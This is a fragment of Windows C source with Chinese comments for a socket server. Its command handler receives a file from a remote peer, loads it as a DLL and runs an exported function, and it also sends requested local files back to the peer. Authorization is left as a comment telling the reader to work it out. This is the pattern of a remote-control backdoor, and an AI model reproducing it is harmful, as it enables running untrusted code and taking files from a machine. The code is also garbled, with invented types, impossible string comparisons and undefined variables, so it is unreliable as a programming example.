pCONNINST tempConn=pConnInstHead;
/* 从链表头开始 到NULL为止 每次指向下一个*/
while(tempConn!=NULL)
{
/* 若当前的下一个是要被删除的 */
if (tempConn->next==pConnInstToDel)
{
/* 当前的下一个变成下一个的(要被删除的)下一个 */
tempConn->next=pConnInstToDel->next;
break;
}
}
}
/* 释放pConnInstToDel占用的内存 */
free(pConnInstToDel->pCmd);
free(pConnInstToDel->pResult);
free(pConnInstToDel);
return;
}
void delAllConnInst(void)
{
pCONNINST tempConn=pConnInstHead;
pCONNINST tempConn2;
/* 遍历链表,依次释放内存 */
/* 若存在tempConn则继续for */
while(tempConn!=NULL)
{
tempConn2=tempConn->next;
// free(tempConn->lpSockAddr);
// free(tempConn->pResultBuf);
free(tempConn->pCmd);
free(tempConn->pResult);
free(tempConn);
tempConn=tempConn2;
}
pConnInstHead=NULL;
return;
}
void OnAccept(SOCKET socket)
{
SOCKADDR_IN sockAddrIn;
pCONNINST connInst=NULL;
SOCKET peerSocket;
int tempLength;
// accept the new socket descriptor
tempLength=sizeof(SOCKADDR_IN);
peerSocket=accept(listenSocket, (struct sockaddr FAR *)&sockAddrIn, (int FAR*)&tempLength);
if(peerSocket==SOCKET_ERROR)
{
if(WSAGetLastError()!=WSAEWOULDBLOCK)
{
//("Error! Accept error. The request form %s can't be accepted.",inet_ntoa(sockAddrIn.sin_addr));
return;
}
}
//让它也可以在读写或关闭的时候向窗口发送消息
WSAAsyncSelect(peerSocket, hWndMain, UM_ASYNC, FD_READ | FD_WRITE | FD_CLOSE);
if(peerSocket==SOCKET_ERROR)
{
//("Error! WSAAsyncSelect error. The request form %s can't be accepted.",inet_ntoa(sockAddrIn.sin_addr));
return;
}
//将这已连接的套接口放到链表里
connInst=addConnInst(peerSocket, sockAddrIn.sin_port, sockAddrIn.sin_addr);
if (connInst==NULL)
{
//内存满了
//("Error! Memory is full! The request form %s can not be accepted",inet_ntoa(sockAddrIn.sin_addr));
closesocket(peerSocket);
return;
}
//("A new request from: %s is accepted on socket %d.",
inet_ntoa(sockAddrIn.sin_addr), peerSocket);
return;
}
void OnClose(SOCKET socket)
{
pCONNINST connInst;
// 检查是否已经删除了这个套接口
connInst=getConnInst(socket);
if (connInst==NULL) return;
// It is still in stock list
// The client must have to reset the connection.
// Clean up.
//("The request from %s has been closed. Local socket: %d is free now.", inet_ntoa(connInst->clientIP), connInst->socket);
closesocket(connInst->socket);
delConnInst(connInst);
}
/* 可以读取数据了 */
void OnRead(SOCKET socket)
{
pCONNINST connInst;
int bytesReceive;
char* pNewCmd=NULL;
/* 查找对应的连接实例 */
connInst=getConnInst(socket);
/* 如果找不到连接实例, 读光缓冲区, 然后ByeBye */
if(connInst==NULL)
{
char buf[1024];
while(recv(socket, buf, sizeof(buf)-1, 0)!=SOCKET_ERROR);
closesocket(socket);
//("When ready to receive (OnREAD), get some noise - DEBUG");
//("it is %c%c%c",buf[0],buf[1],buf[2]);
return;
}
/* 否则将所有数据读入命令堆 */
if(connInst->pCmd==NULL)
{
connInst->pCmd=(char*)malloc(64);
connInst->cmdLen=0;
if(connInst->pCmd==NULL)
{
//("Before receiving data from %s, local memory overflowed.", inet_ntoa(connInst->clientIP));
closesocket(connInst->socket);
delConnInst(connInst);
return;
}
}
pNewCmd=(char*)malloc(64);
if(pNewCmd==NULL)
{
//("Before receiving data from %s, local memory overflowed.", inet_ntoa(connInst->clientIP));
closesocket(connInst->socket);
delConnInst(connInst);
return;
}
memset(pNewCmd, 0, 64);
bytesReceive=recv(socket, pNewCmd, 64, 0);
//("收到:%d字节",bytesReceive);
if(bytesReceive==SOCKET_ERROR)
{
//操作此时由于Windows Sockets实现的资源或其它限制的制约而无法调度
if(WSAGetLastError()==WSAEWOULDBLOCK) return;
//("recv() Error");
//("Closing socket: %d", connInst->socket);
closesocket(connInst->socket);
delConnInst(connInst);
return;
}
/* 有的时候, OnRead消息是假的, 收到的字节数是-1, 要忽略这种情况*/
if(bytesReceive>0)
{
connInst->pCmd=(char*)realloc(connInst->pCmd, connInst->cmdLen+bytesReceive);
memcpy(&connInst->pCmd[connInst->cmdLen], pNewCmd, bytesReceive);
connInst->cmdLen+=bytesReceive;
free(pNewCmd);
DvpExpCmd(socket);
}
else
{
free(pNewCmd);
}
return;
}
Void DvpExpCmd(Socket s)
{
pCONNINST connInst=getConnInst(s);
char *pThisCmd=NULL; /* 从命令堆里面读取第一个命令包, 这个用来保存命令包的地址 */
char *pSwap=NULL; /* 清除命令堆旧命令交换用的指针 */
if(pThisCmd==NULL)
{
//("DEBUG - 无法定义命令包起点, 函数返回, 等待命令.");
return;
}
if(pThisCmd > connInst->pCmd)
{
/*
如果前面有残余数据, 那么就立刻清除残余数据
这种情况遇到的不会多
*/
//("处理残余数据");
pSwap=connInst->pCmd;
connInst->pCmd=strdup(pThisCmd);
connInst->cmdLen-=(pThisCmd-connInst->pCmd);
free(pSwap);
/* 继续 */
}
LVoid pak;
while (*pThisCmd!=Null)
{
pak+=*pThisCmd;
pThisCmd+=sizeof(char);
}
pDVPPak *myDvp=*(DVPPak*)pak;
if(myDvp->SAMCommand=='UPData')
{/*对方传文件给我们!!*/
pFileUpData *Up=*(FileUpData*)myDvp->cmd;
DWORD dwThread;
if(*up!=Null){up->clientIP=pThisCmd->clientIP;
if(CreateThread(NULL,0,RecvFileThreadProc, *up, 0, &dwThread)==NULL)//文件接受线程
{//something wrong with Recv... }else
{ if(CheckSam(myDvp->Guid,myDvp->Auther)!='No')//处理权限,自己发挥吧。。。
{ int (__stdcall*) MoudleStart=(void*)GetProcAddress(LoadLibrary(UP->FileName),"MoudleStartMe" );
MoudleStart(Up->Cmd);//开始执行!
}}
}
free(up);
}
if(myDvp->SAMCommand=='GetData')
{/*2002.10.19*/
/*对方要我们的文件*/
pFileUpData *Up=*(FileUpData*)myDvp->cmd;
if(up!=Null){up->clientIP=pThisCmd->clientIP;
DWORD dwThread;
if(CreateThread(NULL,0,SendFileThreadProc, *up, 0, &dwThread)==NULL)//文件传送线程
{//something wrong with Recv... }
else{/*传输SamCmmand='UpData',cmd=(lvoid*)up给对方*/}}
free(up);
}
if(myDvp->SAMCommand==Null)
{
/*处理对方发来信息中有用的信息*/
/*对于我们来讲,这个问题是应该由个人处理的*/
/*对于这里我们还要给对方返回一包即我们的信息*/
/*此处需要发送消息到对方,来获得如文件之类的东西*/
}
free(pThisCmd);
free(myDvp);
return -1;
}
void OnWrite(SOCKET socket)
{
pCONNINST connInst;
connInst=getConnInst(socket);
/* 如果找不到连接实例, 读光缓冲区, 然后ByeBye */
if(connInst==NULL)
{
char buf[1024];
while(recv(socket, buf, sizeof(buf)-1, 0)!=SOCKET_ERROR);
closesocket(socket);
//("When ready to send, get some noise");
//("it is %c%c%c",buf[0],buf[1],buf[2]);
return;
}
/* 如果连接实例有需要发送的数据 */
if(connInst->pResult!=NULL)
{
sendResult(socket);
}
return;
}
void sendResult(SOCKET socket)
{
pCONNINST connInst=getConnInst(socket);
int bytesSent;
bytesSent=send(connInst->socket, connInst->pResult, connInst->resultLen, 0);
if(bytesSent==SOCKET_ERROR)
{
if (WSAGetLastError()!=WSAEWOULDBLOCK)
{
//("send() Error");
//("Closing socket: %d", connInst->socket);
closesocket(connInst->socket);
delConnInst(connInst);
return;
}
}
if((unsigned int)bytesSent<connInst->resultLen)//如果发送的字节少于结果字节
{
char* temp;
connInst->resultLen=connInst->resultLen-bytesSent;
temp=(char*)malloc(connInst->resultLen);
memcpy(temp,connInst->pResult+bytesSent,connInst->resultLen);
free(connInst->pResult);
connInst->pResult=temp;
}
else //如果全部发送完毕
{
free(connInst->pResult);
connInst->resultLen=0;
connInst->pResult=NULL;
}
}
int netHalt(void)
{
pCONNINST connTemp;
/* 关闭监听套接口 */
closesocket(listenSocket);
/* 关闭所有正在连接的套接口 */
connTemp=pConnInstHead;
while(connTemp)
{
closesocket(connTemp->socket);
connTemp=connTemp->next;
}
/* 清除请求包链表 */
delAllConnInst();
Beep(200,50);
WSACleanup();
return 1;
}
int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
MSG msg;
/* User Interface Startup */
uiStartup(hInstance, nCmdShow);
/* Network Startup */
netStartup();
/*我们在下面应该做些什么?搜索ip连接。。。。。*/
/* 进入消息循环 */
while(GetMessage(&msg,NULL,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
/* Network Halt*/
netHalt();
return 0;
}
void RecvFileThreadProc(pFileUpData *plm)
{
// Open target file
// Get remote address
int i,nPort;
char svAddress[256];
lstrcpyn(svAddress,plm->clientIP->sin_addr->s_addr,256);
for(i=0;i<256;i++) {
if(svAddress==':') {
svAddress='\0';
nPort=atoi(&svAddress[i+1]);
break;
}
}
// Put into SOCKADDR_IN structure
SOCKADDR_IN saddr;
struct hostent *he;
DWORD dwIPAddr;
dwIPAddr=inet_addr(svAddress);
if(dwIPAddr==INADDR_NONE) {
he=gethostbyname(svAddress);
if(gethostbyname==NULL) {
free(plm);
return 1;
}
dwIPAddr=*(DWORD *)he->h_addr_list[0];
}
memset(&saddr,0,sizeof(SOCKADDR_IN));
saddr.sin_family=AF_INET;
saddr.sin_port=htons(plm->port);
saddr.sin_addr.s_addr=dwIPAddr;
// Create socket
SOCKET sv;
sv=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(s==INVALID_SOCKET) {
free(plm);
return 1;
}
// Connect to remote port
if(connect(sv,(SOCKADDR *)&saddr,sizeof(SOCKADDR_IN))==SOCKET_ERROR) {
closesocket(sv);
free(plm);
return 1;
}
// Nonblocking mode
DWORD dwBlock=1;
ioctlsocket(sv, FIONBIO, &dwBlock);
HANDLE hFile;
hFile=CreateFile(plm->FileName,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile!=NULL) {
int nBytes;
DWORD dwCount;
char svBuffer[1024];
do {
// Give up time
Sleep(20);
nBytes=recv(sv,svBuffer,1024,0);
if(nBytes>0) {
WriteFile(hFile,svBuffer,nBytes,&dwCount,NULL);
}
} while(nBytes>0);
CloseHandle(hFile);
}
closesocket(sv);
return 0;
}
void SendFileThreadProc(pFileUpData *plm)
{
SOCKET sv;
sv=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(sv==INVALID_SOCKET) {
free(plm);
return -2;
}
// Bind to desired port
SOCKADDR_IN saddr;
memset(&saddr,0,sizeof(SOCKADDR_IN));
saddr.sin_family=AF_INET;
saddr.sin_port=htons(plm->port);
saddr.sin_addr.s_addr=0;
if(bind(sv,(SOCKADDR *)&saddr,sizeof(SOCKADDR_IN))==SOCKET_ERROR) {
closesocket(s);
free(pptp);
free(ppi);
return -1;
}
listen(sv,MAX_CONNECTIONS);
// Nonblocking mode
DWORD argp=TRUE;
ioctlsocket(sv,FIONBIO,&argp);
sleep(1000);
SOCKET psv;
int tempLength;
// accept the new socket descriptor
tempLength=sizeof(SOCKADDR_IN);
psv=accept(sv, (struct sockaddr FAR *)&sockAddrIn, (int FAR*)&tempLength);
if(peerSocket==SOCKET_ERROR)
{
if(WSAGetLastError()!=WSAEWOULDBLOCK)
{
//("Error! Accept error. The request form %s can't be accepted.",inet_ntoa(sockAddrIn.sin_addr));
return;
}
}
HANDLE hInFile;
hInFile=CreateFile(plm->FileName,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);
if(hInFile==INVALID_HANDLE_value) {
//Couldn't open local file.
return -1;
}
char svBuffer[1024];
DWORD dwBytes;
do {
ReadFile(hInFile,svBuffer,1024,&dwBytes,NULL);
if(send(psv,svBuffer,dwBytes,0)<=0) break;
} while(dwBytes==1024);
closesocket(psv);
closesocket(sv);
CloseHandle(hInFile);
Return -1;
}